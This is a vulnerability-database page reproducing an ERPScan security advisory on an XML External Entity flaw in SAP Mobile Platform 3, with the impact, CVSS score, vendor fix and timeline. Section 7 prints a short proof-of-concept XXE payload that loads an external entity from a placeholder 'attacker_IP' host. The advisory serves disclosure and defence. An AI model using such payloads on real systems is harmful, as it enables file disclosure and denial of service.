Lucene search
K

SAP Mobile Platform 3 XXE Injection

🗓️ 10 Sep 2015 00:00:00Reported by Vahagn VardanyanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 59 Views

SAP Mobile Platform 3 XXE Injection advisory: XML External Entity vulnerability allowing information disclosure and denial of service

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2015-5068
24 Jun 201514:59
attackerkb
CNVD
SAP Mobile Platform External Entity Vulnerability
26 Jun 201500:00
cnvd
CVE
CVE-2015-5068
24 Jun 201514:00
cve
Cvelist
CVE-2015-5068
24 Jun 201514:00
cvelist
erpscan
SAP Mobile Platform 3 - XXE Vulnerability in Add Repository
13 Mar 201500:00
erpscan
EUVD
EUVD-2015-5084
7 Oct 202500:30
euvd
NVD
CVE-2015-5068
24 Jun 201514:59
nvd
Prion
Xxe
24 Jun 201514:59
prion
securityvulns
[ERPSCAN-15-014] SAP Mobile Platform 3 – XXE in Add Repository
14 Sep 201500:00
securityvulns
securityvulns
SAP Mobile Platform XXE injection
14 Sep 201500:00
securityvulns
Rows per page
`ERPSCAN Research Advisory [ERPSCAN-15-014] SAP Mobile Platform 3 – XXE  
in Add Repository  
  
  
Application: SAP Mobile Platform  
Versions Affected: SAP Mobile Platform 3, probably others  
Vendor URL: http://SAP.com  
Bugs: XML External Entity  
Sent: 13.03.2015  
Reported: 14.03.2015  
Vendor response: 14.03.2015  
Date of Public Advisory: 15.06.2015  
Reference: SAP Security Note 2159601  
Author: Vahagn Vardanyan (ERPScan)  
  
  
Description  
  
  
1. ADVISORY INFORMATION  
Title: SAP Mobile Platform 3  
Advisory ID: [ERPSCAN-15-014]  
Risk: High  
Advisory URL: http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/  
Date published: 15.06.2015  
Vendors contacted: SAP  
  
  
2. VULNERABILITY INFORMATION  
Class: XML External Entity [CWE-611]  
Impact: information disclosure, denial of service  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2015-5068  
CVSS Information  
CVSS Base Score: 5.5 / 10  
CVSS Base Vector:  
AV : Access Vector (Related exploit range) Network (N)  
AC : Access Complexity (Required attack complexity) Low (L)  
Au : Authentication (Level of authentication needed to exploit) Single (S)  
C : Impact to Confidentiality Partial (P)  
I : Impact to Integrity None (N)  
A : Impact to Availability Partial (P)  
  
3. VULNERABILITY DESCRIPTION  
1) An attacker can read an arbitrary file on a server by sending a  
correct XML request with a crafted DTD and reading the response from  
the service.  
2) An attacker can perform a DoS attack (for example, XML Entity Expansion).  
3) An SMB Relay attack is a type of Man-in-the-Middle attack where the  
attacker asks the victim to authenticate into a machine controlled by  
the attacker, then relays the credentials to the target. The attacker  
forwards the authentication information both ways and gets access.  
  
  
4. VULNERABLE PACKAGES  
SAP NetWeaver AS Java 7.4  
Other versions are probably affected too, but they were not checked.  
  
  
5. SOLUTIONS AND WORKAROUNDS  
To correct this vulnerability, install SAP Security Note 2159601.  
  
  
6. AUTHOR  
Vahagn Vardanyan (ERPScan)  
  
  
7. TECHNICAL DESCRIPTION  
SAP XML parser validates all incoming XML requests with a  
user-specified DTD. Тhe vulnerability is presented in the field for  
adding a new repository. When an administrator adds the URL for a new  
repository and saves, SAP Mobile Platform searches for these files in  
remote URL:  
- remote_URL\content.xml  
- remote_URL\artifacts.xml  
  
The attacker can change content.xml or artifacts.xml and add malicious code.  
  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [  
<!ENTITY % remote SYSTEM "http://attacker_IP/">  
%remote;]>  
<root/>  
  
  
8. REPORT TIMELINE  
Sent: 13.03.2015  
Reported: 14.03.2015  
Vendor response: 14.03.2015  
Date of Public Advisory: 15.06.2015  
  
  
9. REFERENCES  
http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/  
  
  
10. ABOUT ERPScan Research  
The company’s expertise is based on the research subdivision of  
ERPScan, which is engaged in vulnerability research and analysis of  
critical enterprise applications. It has achieved multiple  
acknowledgments from the largest software vendors like SAP, Oracle,  
Microsoft, IBM, VMware, HP for discovering more than 400  
vulnerabilities in their solutions (200 of them just in SAP!).  
ERPScan researchers are proud to have exposed new types of  
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be  
nominated for the best server-side vulnerability at BlackHat 2013.  
ERPScan experts have been invited to speak, present, and train at 60+  
prime international security conferences in 25+ countries across the  
continents. These include BlackHat, RSA, HITB, and private SAP  
trainings in several Fortune 2000 companies.  
ERPScan researchers lead the project EAS-SEC, which is focused on  
enterprise application security research and awareness. They have  
published 3 exhaustive annual award-winning surveys about SAP  
security.  
ERPScan experts have been interviewed by leading media resources and  
featured in specialized info-sec publications worldwide. These include  
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,  
Heise, and Chinabyte, to name a few.  
We have highly qualified experts in staff with experience in many  
different fields of security, from web applications and  
mobile/embedded to reverse engineering and ICS/SCADA systems,  
accumulating their experience to conduct the best SAP security  
research.  
  
  
11. ABOUT ERPScan  
ERPScan is one of the most respected and credible Business Application  
Security providers. Founded in 2010, the company operates globally.  
Named an Emerging vendor in Security by CRN and distinguished by more  
than 25 other awards, ERPScan is the leading SAP SE partner in  
discovering and resolving security vulnerabilities. ERPScan  
consultants work with SAP SE in Walldorf to improve the security of  
their latest solutions.  
ERPScan’s primary mission is to close the gap between technical and  
business security. We provide solutions to secure ERP systems and  
business-critical applications from both cyber attacks and internal  
fraud. Our clients are usually large enterprises, Fortune 2000  
companies, and managed service providers whose requirements are to  
actively monitor and manage the security of vast SAP landscapes on a  
global scale.  
Our flagship product is ERPScan Security Monitoring Suite for SAP.  
This multi award-winning innovative software is the only solution on  
the market certified by SAP SE covering all tiers of SAP security:  
vulnerability assessment, source code review, and Segregation of  
Duties.  
The largest companies from diverse industries like oil and gas,  
banking, retail, even nuclear power installations as well as  
consulting companies have successfully deployed the software. ERPScan  
Security Monitoring Suite for SAP is specifically designed for  
enterprises to continuously monitor changes in multiple SAP systems.  
It generates and analyzes trends in user friendly dashboards, manages  
risks, tasks, and can export results to external systems. These  
features enable central management of SAP system security with minimal  
time and effort.  
We follow the sun and function in two hubs located in the Netherlands  
and the US to operate local offices and partner network spanning 20+  
countries around the globe. This enables monitoring cyber threats in  
real time and providing agile customer support.  
  
  
USA address: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301  
Phone: 650.798.5255  
Twitter: @erpscan  
Scoop-it: Business Application Security  
http://erpscan.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation